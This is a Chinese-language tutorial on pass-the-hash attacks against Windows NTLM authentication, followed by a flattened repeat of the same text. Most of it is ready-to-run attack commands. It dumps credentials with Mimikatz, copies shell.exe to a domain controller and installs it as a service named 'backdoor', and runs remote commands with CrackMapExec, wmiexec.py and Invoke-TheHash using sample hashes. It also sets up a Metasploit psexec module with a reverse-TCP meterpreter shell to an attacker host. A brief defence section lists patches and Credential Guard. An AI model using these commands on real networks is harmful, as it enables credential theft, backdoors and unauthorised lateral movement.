谭谈哈希传递那些世人皆知的事
字数 1256 2025-08-05 08:19:43

哈希传递攻击(PTH)全面指南

1. 哈希传递攻击概述

哈希传递攻击(Pass The Hash, PTH)是一种利用NTLM哈希值而非明文密码进行身份验证的攻击技术。在Windows系统中,NTLM认证的TYPE 3消息计算Response时使用的是用户的NTLM Hash而非明文密码,这使得攻击者只需获取哈希值即可模拟用户身份。

1.1 攻击原理

  • 利用NTLM认证机制的特性
  • 不需要破解哈希获取明文密码
  • 适用于域环境和工作组环境
  • 特别有效于使用相同本地管理员账号密码的多台计算机

1.2 攻击条件

  • 已获取目标用户的NTLM哈希值
  • 目标系统未打相关补丁或配置不当
  • 攻击者具有本地管理员权限(部分工具需要)

2. 攻击工具与方法

2.1 使用Mimikatz进行PTH

基本步骤:

  1. 获取哈希值:
privilege::debug
sekurlsa::logonpasswords
  1. 执行哈希传递:
privilege::debug
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash_value
  1. 简化命令:
mimikatz.exe privilege::debug "sekurlsa::pth /domain:domain.com /user:administrator /ntlm:hash_value /run:cmd.exe"

后续利用:

  • 复制文件到目标主机:
copy shell.exe \\DC.domain.com\c$
  • 创建并启动服务:
sc \\DC.domain.com create backdoor binpath="c:\shell.exe"
sc \\DC.domain.com start backdoor
sc \\DC.domain.com delete backdoor

2.2 使用CrackMapExec进行PTH

安装:

apt-get install crackmapexec

基本命令:

crackmapexec smb IP -u username -H NTLM_hash -d domain -x command

示例:

crackmapexec smb 192.168.1.0/24 -u administrator -H ab89b1295e69d353dd7614c7a3a80cec -d domain.com -x whoami

2.3 使用wmiexec.py进行PTH

安装:

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .

基本命令:

python wmiexec.py -hashes LM_hash:NT_hash domain/user@IP "command"

示例:

python wmiexec.py -hashes 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec domain/administrator@192.168.1.1 "whoami"

2.4 使用Metasploit进行PTH

常用模块:

  • auxiliary/admin/smb/psexec_command
  • exploit/windows/smb/psexec
  • exploit/windows/smb/psexec_psh

配置示例:

use exploit/windows/smb/psexec
set rhosts 192.168.1.1
set smbuser administrator
set smbpass 00000000000000000000000000000000:ab89b1295e69d353dd7614c7a3a80cec
set smbdomain domain.com
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.100
set lport 4444
exploit

2.5 使用PowerShell工具进行PTH

2.5.1 Invoke-SMBExec

基本命令:

Import-Module .\Invoke-SMBExec.ps1
Invoke-SMBExec -Target IP -Domain domain -Username username -Hash LM_hash:NT_hash -Command "command" -verbose

2.5.2 Invoke-TheHash

基本命令:

Import-Module .\Invoke-WMIExec.ps1
Import-Module .\Invoke-TheHash.ps1
Invoke-TheHash -Type WMIExec -Target IP -Domain domain -Username username -Hash NT_hash -Command "command" -verbose

2.5.3 Invoke-SMBClient

文件操作命令:

Import-Module .\Invoke-SMBClient.ps1
Invoke-SMBClient -Domain domain -Username username -Hash NT_hash -Source \\server\share -verbose

3. 哈希传递攻击RDP远程桌面

3.1 受限管理员模式(Restricted Admin Mode)

适用系统:

  • Windows 8.1和Windows Server 2012 R2默认支持
  • Windows 7和Windows Server 2008 R2需安装补丁kb2871997、kb2973351

启用方法:

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

使用Mimikatz攻击:

privilege::debug
sekurlsa::pth /user:administrator /domain:domain.com /ntlm:hash_value "/run:mstsc.exe /restrictedadmin"

4. 防御措施

4.1 微软补丁

  • KB2871997:限制本地账号用于远程接入
  • KB2928120

4.2 其他防御措施

  • 禁用NTLM认证,改用Kerberos
  • 启用Credential Guard(Windows 10/Server 2016+)
  • 限制本地管理员权限
  • 确保每个管理员账户使用唯一密码
  • 监控异常登录行为

5. 注意事项

  1. 使用dir命令时需使用主机名而非IP
  2. 部分工具需要本地管理员权限
  3. 哈希格式通常为LM:NT,若不知LM部分可用0代替
  4. 受限管理员模式仅对管理员组有效
  5. 即使Administrator改名,只要SID仍为500,攻击仍可能成功

6. 总结

哈希传递攻击是内网渗透中极为有效的技术,攻击者无需破解密码即可横向移动。防御此类攻击需要综合应用补丁、配置更改和安全监控等多种措施。管理员应特别关注特权账户的保护和NTLM认证的安全配置。

哈希传递攻击(PTH)全面指南 1. 哈希传递攻击概述 哈希传递攻击(Pass The Hash, PTH)是一种利用NTLM哈希值而非明文密码进行身份验证的攻击技术。在Windows系统中,NTLM认证的TYPE 3消息计算Response时使用的是用户的NTLM Hash而非明文密码,这使得攻击者只需获取哈希值即可模拟用户身份。 1.1 攻击原理 利用NTLM认证机制的特性 不需要破解哈希获取明文密码 适用于域环境和工作组环境 特别有效于使用相同本地管理员账号密码的多台计算机 1.2 攻击条件 已获取目标用户的NTLM哈希值 目标系统未打相关补丁或配置不当 攻击者具有本地管理员权限(部分工具需要) 2. 攻击工具与方法 2.1 使用Mimikatz进行PTH 基本步骤: 获取哈希值: 执行哈希传递: 简化命令: 后续利用: 复制文件到目标主机: 创建并启动服务: 2.2 使用CrackMapExec进行PTH 安装: 基本命令: 示例: 2.3 使用wmiexec.py进行PTH 安装: 基本命令: 示例: 2.4 使用Metasploit进行PTH 常用模块: auxiliary/admin/smb/psexec_ command exploit/windows/smb/psexec exploit/windows/smb/psexec_ psh 配置示例: 2.5 使用PowerShell工具进行PTH 2.5.1 Invoke-SMBExec 基本命令: 2.5.2 Invoke-TheHash 基本命令: 2.5.3 Invoke-SMBClient 文件操作命令: 3. 哈希传递攻击RDP远程桌面 3.1 受限管理员模式(Restricted Admin Mode) 适用系统: Windows 8.1和Windows Server 2012 R2默认支持 Windows 7和Windows Server 2008 R2需安装补丁kb2871997、kb2973351 启用方法: 使用Mimikatz攻击: 4. 防御措施 4.1 微软补丁 KB2871997:限制本地账号用于远程接入 KB2928120 4.2 其他防御措施 禁用NTLM认证,改用Kerberos 启用Credential Guard(Windows 10/Server 2016+) 限制本地管理员权限 确保每个管理员账户使用唯一密码 监控异常登录行为 5. 注意事项 使用dir命令时需使用主机名而非IP 部分工具需要本地管理员权限 哈希格式通常为LM:NT,若不知LM部分可用0代替 受限管理员模式仅对管理员组有效 即使Administrator改名,只要SID仍为500,攻击仍可能成功 6. 总结 哈希传递攻击是内网渗透中极为有效的技术,攻击者无需破解密码即可横向移动。防御此类攻击需要综合应用补丁、配置更改和安全监控等多种措施。管理员应特别关注特权账户的保护和NTLM认证的安全配置。